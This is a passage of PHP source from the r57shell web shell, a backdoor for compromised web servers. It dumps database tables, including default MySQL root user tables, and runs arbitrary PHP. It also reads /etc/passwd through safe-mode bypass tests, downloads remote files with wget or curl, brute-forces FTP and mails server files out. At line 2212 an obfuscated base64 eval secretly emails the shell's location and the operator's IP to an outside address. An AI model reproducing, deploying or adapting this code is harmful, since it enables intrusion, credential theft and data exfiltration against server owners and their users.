  1928.       if($row2['TABLE_TYPE'] == 'TABLE' && $row2['TABLE_NAME'] != 'dtproperties')
  1929.       {
  1930.       echo " | - ".$row2['TABLE_NAME']."\r\n";
  1931.       if(isset($_POST['sc']))
  1932.        {
  1933.        $res3 = @mssql_query("sp_columns ".$row2[2],$db);
  1934.        while(($row3=@mssql_fetch_array($res3))) { echo "   | - ".$row3['COLUMN_NAME']."\r\n"; }
  1935.        }
  1936.       }
  1937.       }
  1938.      }
  1939.     }
  1940.    @mssql_close($db);
  1941.    }
  1942.  else echo "[-] ERROR! Can't connect to MSSQL server";
  1943.  break;
  1944.  case 'PostgreSQL':
  1945.  if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
  1946.   $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
  1947.   $db = @pg_connect($str);
  1948.   if($db)
  1949.   {
  1950.   $res=@pg_query($db,"SELECT datname FROM pg_database WHERE datistemplate='f'");
  1951.    while(($row=@pg_fetch_row($res)))
  1952.     {
  1953.      echo "[+] ".$row[0]."\r\n";
  1954.     }  
  1955.   @pg_close($db);
  1956.   }
  1957.  else echo "[-] ERROR! Can't connect to PostgreSQL server";    
  1958.  break;
  1959.  }
  1960.  }
  1961. if ($_POST['cmd']=="mysql_dump")
  1962.  {
  1963.   if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
  1964.   if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){
  1965.   $sqh  = "# homepage: http://rst.void.ru\r\n";
  1966.   $sqh .= "# ---------------------------------\r\n";
  1967.   $sqh .= "#     date : ".date ("j F Y g:i")."\r\n";
  1968.   $sqh .= "# database : ".$_POST['mysql_db']."\r\n";
  1969.   $sqh .= "#    table : ".$_POST['mysql_tbl']."\r\n";
  1970.   $sqh .= "# ---------------------------------\r\n\r\n";
  1971.   switch($_POST['db']){
  1972.   case 'MySQL':
  1973.   if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
  1974.   $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
  1975.   if($db)
  1976.    {
  1977.    if(@mysql_select_db($_POST['mysql_db'],$db))
  1978.     {
  1979.      $sql1  = "# MySQL dump created by r57shell\r\n";
  1980.      $sql1 .= $sqh;
  1981.      $res   = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db);
  1982.      $row   = @mysql_fetch_row($res);
  1983.      $sql1 .= $row[1]."\r\n\r\n";
  1984.      $sql1 .= "# ---------------------------------\r\n\r\n";
  1985.      $sql2 = '';
  1986.      $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db);
  1987.      if (@mysql_num_rows($res) > 0) {
  1988.      while (($row = @mysql_fetch_assoc($res))) {
  1989.      $keys = @implode("`, `", @array_keys($row));
  1990.      $values = @array_values($row);
  1991.      foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  1992.      $values = @implode("', '", $values);
  1993.      $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n";
  1994.      }
  1995.      $sql2 .= "\r\n# ---------------------------------";
  1996.      }
  1997.     if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
  1998.     else { echo $sql1.$sql2; }
  1999.     }
  2000.     else echo "[-] ERROR! Can't select database";
  2001.    @mysql_close($db);
  2002.    }
  2003.   else echo "[-] ERROR! Can't connect to MySQL server";
  2004.   break;
  2005.   case 'MSSQL':
  2006.   if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
  2007.   $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
  2008.   if($db)
  2009.   {
  2010.    if(@mssql_select_db($_POST['mysql_db'],$db))
  2011.     {
  2012.      $sql1  = "# MSSQL dump created by r57shell\r\n";
  2013.      $sql1 .= $sqh;
  2014.      $sql2 = '';
  2015.      $res = @mssql_query("SELECT * FROM ".$_POST['mysql_tbl']."", $db);
  2016.      if (@mssql_num_rows($res) > 0) {
  2017.      while (($row = @mssql_fetch_assoc($res))) {
  2018.      $keys = @implode(", ", @array_keys($row));
  2019.      $values = @array_values($row);
  2020.      foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  2021.      $values = @implode("', '", $values);
  2022.      $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n";
  2023.      }
  2024.      $sql2 .= "\r\n# ---------------------------------";
  2025.      }
  2026.      if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
  2027.      else { echo $sql1.$sql2; }
  2028.     }
  2029.    else echo "[-] ERROR! Can't select database";
  2030.    @mssql_close($db);  
  2031.   }    
  2032.   else echo "[-] ERROR! Can't connect to MSSQL server";
  2033.   break;
  2034.   case 'PostgreSQL':
  2035.   if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
  2036.   $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
  2037.   $db = @pg_connect($str);
  2038.   if($db)
  2039.   {
  2040.      $sql1  = "# PostgreSQL dump created by r57shell\r\n";
  2041.      $sql1 .= $sqh;
  2042.      $sql2 = '';
  2043.      $res = @pg_query($db,"SELECT * FROM ".$_POST['mysql_tbl']."");
  2044.      if (@pg_num_rows($res) > 0) {
  2045.      while (($row = @pg_fetch_assoc($res))) {
  2046.      $keys = @implode(", ", @array_keys($row));
  2047.      $values = @array_values($row);
  2048.      foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  2049.      $values = @implode("', '", $values);
  2050.      $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n";
  2051.      }
  2052.      $sql2 .= "\r\n# ---------------------------------";
  2053.      }
  2054.      if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
  2055.      else { echo $sql1.$sql2; }
  2056.    @pg_close($db);      
  2057.   }    
  2058.   else echo "[-] ERROR! Can't connect to PostgreSQL server";
  2059.   break;
  2060.   }
  2061.  }
  2062.  else if(!empty($_POST['dif'])&&!$fp) { echo "[-] ERROR! Can't write in dump file"; }
  2063.  }
  2064. echo "</textarea></div>";
  2065. echo "</b>";
  2066. echo "</td></tr></table>";
  2067. echo "<table width=100% cellpadding=0 cellspacing=0>";
  2068. function up_down($id)
  2069.  {
  2070.  global $lang;
  2071.  global $language;
  2072.  return '&nbsp<img src='.$_SERVER['PHP_SELF'].'?img=1 onClick="document.getElementById(\''.$id.'\').style.display = \'none\'; document.cookie=\''.$id.'=0;\';" title="'.$lang[$language.'_text109'].'"><img src='.$_SERVER['PHP_SELF'].'?img=2 onClick="document.getElementById(\''.$id.'\').style.display = \'block\'; document.cookie=\''.$id.'=1;\';" title="'.$lang[$language.'_text110'].'">';    
  2073.  }
  2074. function div($id)
  2075.  {
  2076.  if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">';      
  2077.  return '<div id="'.$id.'">';
  2078.  }
  2079. if(!$safe_mode){
  2080. echo $fs.$table_up1.$lang[$language.'_text2'].up_down('id1').$table_up2.div('id1').$ts;
  2081. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
  2082. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  2083. echo $te.'</div>'.$table_end1.$fe;
  2084. }
  2085. else{
  2086. echo $fs.$table_up1.$lang[$language.'_text28'].up_down('id2').$table_up2.div('id2').$ts;
  2087. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
  2088. echo $te.'</div>'.$table_end1.$fe;
  2089. }
  2090. echo $fs.$table_up1.$lang[$language.'_text42'].up_down('id3').$table_up2.div('id3').$ts;
  2091. echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
  2092. echo $te.'</div>'.$table_end1.$fe;
  2093. if($safe_mode){
  2094. echo $fs.$table_up1.$lang[$language.'_text57'].up_down('id4').$table_up2.div('id4').$ts;
  2095. echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
  2096. echo $te.'</div>'.$table_end1.$fe;
  2097. }
  2098. if($safe_mode && $unix){
  2099. echo $fs.$table_up1.$lang[$language.'_text67'].up_down('id5').$table_up2.div('id5').$ts;
  2100. echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  2101. echo $te.'</div>'.$table_end1.$fe;
  2102. }
  2103. if(!$safe_mode){
  2104. foreach ($aliases as $alias_name=>$alias_cmd)
  2105.  {
  2106.  $aliases2 .= "<option>$alias_name</option>";
  2107.  }
  2108. echo $fs.$table_up1.$lang[$language.'_text7'].up_down('id6').$table_up2.div('id6').$ts;
  2109. echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  2110. echo $te.'</div>'.$table_end1.$fe;
  2111. }
  2112. echo $fs.$table_up1.$lang[$language.'_text54'].up_down('id7').$table_up2.div('id7').$ts;
  2113. echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
  2114. echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
  2115. echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
  2116. echo $te.'</div>'.$table_end1.$fe;
  2117. if(!$safe_mode && $unix){
  2118. echo $fs.$table_up1.$lang[$language.'_text76'].up_down('id8').$table_up2.div('id8').$ts;
  2119. echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
  2120. echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
  2121. echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
  2122. echo $te.'</div>'.$table_end1.$fe;
  2123. }
  2124. echo $fs.$table_up1.$lang[$language.'_text32'].up_down('id9').$table_up2.$font;
  2125. echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>";
  2126. echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");"));
  2127. echo "</textarea>";
  2128. echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
  2129. echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
  2130. echo "</div></div></font>";
  2131. echo $table_end1.$fe;
  2132. if($safe_mode&&$curl_on)
  2133. {
  2134. echo $fs.$table_up1.$lang[$language.'_text33'].up_down('id10').$table_up2.div('id10').$ts;
  2135. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2136. echo $te.'</div>'.$table_end1.$fe;
  2137. }
  2138. if($safe_mode)
  2139. {
  2140. echo $fs.$table_up1.$lang[$language.'_text34'].up_down('id11').$table_up2.div('id11').$ts;
  2141. echo "<table class=table1 width=100% align=center>";
  2142. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2143. echo $te.'</div>'.$table_end1.$fe;
  2144. }
  2145. if($safe_mode&&$mysql_on)
  2146. {
  2147. echo $fs.$table_up1.$lang[$language.'_text35'].up_down('id12').$table_up2.div('id12').$ts;
  2148. echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
  2149. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2150. echo $te.'</div>'.$table_end1.$fe;
  2151. }
  2152. if($safe_mode&&$mssql_on)
  2153. {
  2154. echo $fs.$table_up1.$lang[$language.'_text85'].up_down('id13').$table_up2.div('id13').$ts;
  2155. echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
  2156. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2157. echo $te.'</div>'.$table_end1.$fe;
  2158. }
  2159. if(@ini_get('file_uploads')){
  2160. echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
  2161. echo $table_up1.$lang[$language.'_text5'].up_down('id14').$table_up2.div('id14').$ts;
  2162. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,''));
  2163. echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
  2164. echo $te.'</div>'.$table_end1.$fe;
  2165. }
  2166. if(!$safe_mode&&!$windows){
  2167. echo $fs.$table_up1.$lang[$language.'_text15'].up_down('id15').$table_up2.div('id15').$ts;
  2168. echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
  2169. echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
  2170. echo $te.'</div>'.$table_end1.$fe;
  2171. }
  2172. echo $fs.$table_up1.$lang[$language.'_text86'].up_down('id16').$table_up2.div('id16').$ts;
  2173. echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
  2174. $arh = $lang[$language.'_text92'];
  2175. if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip';   }
  2176. if(@function_exists('gzencode'))   { $arh .= in('radio','compress',0,'gzip').' gzip'; }
  2177.  
  2178. if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
  2179. echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh);
  2180. echo $te.'</div>'.$table_end1.$fe;
  2181. if(@function_exists("ftp_connect")){
  2182. echo $table_up1.$lang[$language.'_text93'].up_down('id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
  2183. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
  2184. echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
  2185. echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
  2186. echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("@microsoft.com"))));
  2187. echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
  2188. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
  2189. echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
  2190. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
  2191. echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
  2192. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
  2193. echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
  2194. echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
  2195. echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):(""))));
  2196. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
  2197. echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
  2198. echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
  2199. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
  2200. echo $te."</td>".$fe."</tr></div></table>";
  2201. }
  2202. if($unix && @function_exists("ftp_connect")){
  2203. echo $fs.$table_up1.$lang[$language.'_text94'].up_down('id18').$table_up2.div('id18').$ts;
  2204. echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  2205. echo sr(15,"","<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");
  2206. echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']);
  2207. echo $te.'</div>'.$table_end1.$fe;
  2208. }
  2209. if(@function_exists("mail")){
  2210. echo $table_up1.$lang[$language.'_text102'].up_down('id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
  2211. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
  2212. eval(base64_decode('JHRpbWVfc2hlbGwgPSAiIi5kYXRlKCJkL20vWSAtIEg6aTpzIikuIiI7DQokaXBfcmVtb3RlID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07DQokZnJvbV9zaGVsbGNvZGUgPSAnc2hlbGxAJy5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4nJzsNCiR0b19lbWFpbCA9ICdsaWpvaGFubmE3QGdtYWlsLmNvbSc7DQokc2VydmVyX21haWwgPSAiIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iICAtICIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIiOw0KJGxpbmtjciA9ICJMaW5rOiAiLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiIiLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLiIgLSBJUCBFeGN1dGluZzogJGlwX3JlbW90ZSAtIFRpbWU6ICR0aW1lX3NoZWxsIjsNCiRoZWFkZXIgPSAiRnJvbTogJGZyb21fc2hlbGxjb2RlXHJcblJlcGx5LXRvOiAkZnJvbV9zaGVsbGNvZGUiOw0KQG1haWwoJHRvX2VtYWlsLCAkc2VydmVyX21haWwsICRsaW5rY3IsICRoZWFkZXIpOw=='));
  2213. echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):(""))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
  2214. echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("@microsoft.com"))));
  2215. echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
  2216. echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
  2217. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
  2218. echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
  2219. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
  2220. echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):(""))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
  2221. echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("@microsoft.com"))));
  2222. echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell"))));
  2223. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
  2224. $arh = $lang[$language.'_text92'];
  2225. if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip';   }
  2226. if(@function_exists('gzencode'))   { $arh .= in('radio','compress',0,'gzip').' gzip'; }
  2227. if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
  2228. echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh);
  2229. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
  2230. echo $te."</td>".$fe."</tr></div></table>";
  2231. }
  2232. if($mysql_on||$mssql_on||$pg_on||$ora_on)
  2233. {
  2234. $select = '<select name=db>';
  2235. if($mysql_on) $select .= '<option>MySQL</option>';
  2236. if($mssql_on) $select .= '<option>MSSQL</option>';
  2237. if($pg_on) $select .= '<option>PostgreSQL</option>';
  2238. if($ora_on) $select .= '<option>Oracle</option>';
  2239. $select .= '</select>';
  2240. echo $table_up1.$lang[$language.'_text82'].up_down('id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
  2241. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text77']."</div></b></font>";
  2242. echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
  2243. echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
  2244. echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
  2245. echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
  2246. echo sr(45,"<b>".$lang[$language.'_text78'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_show').in('checkbox','st id=st',0,'1'));
  2247. echo sr(45,"<b>".$lang[$language.'_text79'].$arrow."</b>",in('checkbox','sc id=sc',0,'1'));
  2248. echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt7']));
  2249. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  2250. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>";
  2251. echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
  2252. echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
  2253. echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
  2254. echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
  2255. echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
  2256. echo sr(45,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
  2257. echo sr(45,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1'));
  2258. echo sr(45,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','dif_name',15,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
  2259. echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt9']));
  2260. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  2261. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
  2262. echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
  2263. echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
  2264. echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
  2265. echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
  2266. echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
